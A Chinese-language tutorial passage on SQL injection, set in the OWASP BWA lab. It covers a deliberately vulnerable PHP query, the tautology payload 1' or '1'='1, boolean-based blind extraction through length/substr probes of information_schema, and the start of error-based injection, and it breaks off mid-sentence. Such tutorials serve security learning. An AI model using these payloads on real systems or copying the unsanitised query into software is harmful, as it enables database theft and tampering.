SQL注入是比较常见的网络攻击方式之一，它不是利用操作系统的BUG来实现攻击，而是针对程序员编程时的疏忽，通过SQL语句，实现无帐号登录，甚至篡改数据库。下面这篇文中就SQL注入进行一个深入的介绍，感兴趣的朋友们一起来看看吧。
SQL注入攻击的总体思路
1.寻找到SQL注入的位置
2.判断服务器类型和后台数据库类型
3.针对不通的服务器和数据库特点进行SQL注入攻击
关于 SQL Injection（SQL注入）
SQL Injection 就是通过把恶意的 SQL 命令插入到 Web 表单让服务器执行，最终达到欺骗服务器或数据库执行恶意的 SQL 命令。
学习 SQL 注入，首先要搭一个靶机环境，我使用的是OWASP BWA，感兴趣的可以去官网下载一个安装，除了 SQL 注入，很多靶机环境都可以在 BWA 中找到，它专门为 OWASP ZAP 渗透工具设计的。
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
</div>
这是一个很简单的 PHP代码，从前台获得 id 的值，交给数据库来执行，把结果返回给前台。
比如我们在 OWASP 里输入 id = 1，点击 Submit，返回结果如下：
稍微懂一点后台或者数据库的人都知道，上面的那段代码是有严重问题的，没有对 id 的值进行有效性、合法性判断。也就是说，我们在 submit 输入框输入的如何内容都会被提交给数据库执行，比如在输入框输入1' or '1'='1，执行就会变成：
//原先要在数据库中执行的命令 SELECT first_name, last_name FROM users WHERE user_id = '1' //变成 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'</div>
注意一下单引号，这是 SQL 注入中非常重要的一个地方，所以注入代码的最后要补充一个 '1'='1让单引号闭合。
由于 or 的执行，会把数据库表 users 中的所有内容显示出来，
下面对三种主要的注入类型进行介绍。
Boolean-based 原理分析
首先不得不讲SQL中的AND和OR
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
AND:返回第一个条件和第二个条件都成立的记录。
OR:返回满足第一个条件或第二个条件的记录。
AND和OR即为集合论中的交集和并集。
下面是一个数据库的查询内容。
mysql> select * from students; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)</div>
1)
mysql> select * from students where TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)</div>
2)
mysql> select * from students where FALSE ; Empty set (0.00 sec)</div>
3)
mysql> SELECT * from students where id = 10056 and TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | +-------+-------+-----+ 1 row in set (0.00 sec)</div>
4)
mysql> select * from students where id = 10056 and FALSE ; Empty set (0.00 sec)</div>
5)
mysql> selcet * from students where id = 10056 or TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)</div>
6)
mysql> select * from students where id = 10056 or FALSE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | +-------+-------+-----+ 1 row in set (0.00 sec)</div>
会发现and 1=1 , and 1=2 即是 and TRUE , and FALSE 的变种。
这便是最基础的boolean注入,以此为基础你可以自由组合语句。
字典爆破流
and exists(select * from ?) //?为猜测的表名 and exists(select ? from x) //?为猜测的列名</div>
截取二分流
and (length((select schema_name from information_schema.schemata limit 1))>?) //判断数据库名的长度 and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?') and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?') //利用二分法判断第一个字符</div>
Boolean-based总结
根据前面的介绍，我们知道，对于基于Boolean-based的注入，必须要有一个可以正常访问的地址，比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个可以正常访问的记录，说明id=1的记录是存在的，下面的都是基于这个进一步猜测。先来判断一个关键字keyword的长度，在后面构造id=1 and (select length(keyword) from table)=1，从服务器我们会得到一个返回值，如果和先前的返回值不一样，说明and后面的(select length(keyword) from table)=1返回false，keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true，说明keyword的长度为15。
为什么我们刚开始一定要找一个已经存在的id，其实这主要是为了构造一个为真的情况。Boolean-based就是利用查询结果为真和为假时的不同响应，通过不断猜测来找到自己想要的东西。
对于keyword的值，mysql数据库可以使用substr(string, start, length)函数，截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) ='A'，依此类推，就可以获得keyword的在数据库中的值。
Boolean-based的效率很低，需要多个请求才能确定一个值，尽管这种代价可以通过脚本来完成，在有选择的情况下，我们会优先选择其他方式。
Error Based 原理分析
关于错误回显
基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上。
所用到的函数
count() 统计元祖的个数（相当于求和）
如select count(*) from information_schema.tables;
rand()用于产生一个0~1的随机数
floor()向下取整
group by 依据我们想要的规矩对结果进行分组
concat将符合条件的同一列中的不同行数据拼接，以逗号隔开
用于错误回显的sql语句
第一种： 基于 rand() 与 group by 的错误
利用group by part of rand() returns duplicate key error这个bug，关于rand()函数与group by 在mysql中的错误报告如下：
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.</div>
这个bug会爆出duplicate key这个错误，然